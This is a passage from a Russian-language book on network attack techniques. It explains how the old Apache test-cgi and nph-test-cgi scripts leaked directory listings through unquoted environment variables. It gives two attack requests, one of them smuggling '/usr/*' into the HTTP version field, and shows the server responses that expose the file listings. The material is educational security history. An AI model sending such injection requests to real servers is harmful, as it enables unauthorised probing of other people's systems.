Техника сетевых атак

GET /cgi-bin/test-cgi?/*
· CGI/1.0 test script report:
·
· argc is 1. argv is /\*.
·
· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
· SERVER_NAME = home.project.aha.ru
· GATEWAY_INTERFACE = CGI/1.1
· SERVER_PROTOCOL = HTTP/1.1
· SERVER_PORT = 80
· REQUEST_METHOD = GET
· HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, */*
· PATH_INFO =
· PATH_TRANSLATED =
· SCRIPT_NAME = /cgi-bin/nph-test-cgi
· QUERY_STRING = /6 /8 /bin /boot /bzImage-2.0.35 /bzImage-2.2.11 /bzImage-2.2.11-2 /bzImage-2.2.12 /cdrom /dev /etc /floppy /home /initrd /lib /lost+found /mnt /oak /proc /root /sbin /tmp /usr /var
· REMOTE_HOST = ppp-09.krintel.ru
· REMOTE_ADDR = 195.161.41.233
· REMOTE_USER =
· CONTENT_TYPE =
· CONTENT_LENGTH =

Проблему решили установкой кавычек вокруг “$QUERY_STRING” [295]. Какое-то время это сдерживало злоумышленников, но инерция мышления подвела разработчиков и на этот раз. Считалось, что “$QUERY_STRING”, это единственный параметр, который передается серверу пользователем, поэтому на все остальные не обратили никакого внимания. Но оказалось, что большинство серверов (включая самый распространенный из них - Apache) не проверяют синтаксической корректности содержимого поля «версия HTTP», указываемой при передаче запроса. В результате этого появляется возможность подставить вместо нее любую строку, например, “/etc/*”. Демонстрация такой атаки приведена ниже [296] (жирным шрифтом выделено поле “SERVER_PROTOCOL”, которое при нормальном развитии событий должно содержать версию HTTP, используемую клиентом, а в данном случае список файлов и папок директории “/etc”):

· GET /cgi-bin/nph-test-cgi?* /usr/*
·
· HTTP/1.0 200 OK
· Content-type: text/plain
·
· Server: Apache/1.3.0 (Unix) Debian/GNU
·
· CGI/1.0 test script report:
·
· argc is 1. argv is \*.
· SERVER_SOFTWARE = Apache/1.3.0 (Unix) Debian/GNU
· SERVER_NAME = biophys.urcrm.chel.su
· GATEWAY_INTERFACE = CGI/1.1
· SERVER_PROTOCOL = /usr/7 /usr/X11R6 /usr/bin /usr/dict /usr/doc /usr/games /usr/include /usr/info /usr/lib /usr/local /usr/lost+found /usr/man /usr/sbin /usr/share /usr/src
· SERVER_PORT = 80
· REQUEST_METHOD = GET
· HTTP_ACCEPT =
· PATH_INFO =
· PATH_TRANSL
· ATED = SCRIPT_NAME = /cgi-bin/nph-test-cgi
· QUERY_STRING = 1.pgsql 2.pgsql 2.pgsql~DEADJOE archie calendar capture date dwww-fig finger fortune htsearch imagemap
· info2www-fig log logging.cgi~ log~ mailto.pl nph-test-cgi php3 test-cgi test-env
· uptime wais.pl www-pgsql wwwcount.cgi
· REMOTE_HOST = ppp-18.krintel.ru
· REMOTE_ADDR = 195.161.41.242
· REMOTE_USER =
· CONTENT_TYPE =
· CONTENT_LENGTH =

После исправления этой ошибки, настал черед “REMOTE_USER”, “CONTENT_TYPE”, “USER_AGENT” и т.д.

Отсюда вытекает ряд неутешительных заключений. Нельзя полагаться ни на какие стандартные библиотеки и творения сторонних разработчиков. Массовость и идентичность - вот основное оружие злоумышленников. Чтобы исследовать скрипт, прежде всего, необходимо получить его исходный код. На правильно сконфигурированном сервере это невозможно, но никакая защита не в состояние предотвратить анализ общедоступных программ. А, получив в свое распоряжение общедоступный скрипт, злоумышленник может попытаться обнаружить содержащиеся в нем ошибки. А, обнаружив, атаковать жертву, использующую такой скрипт.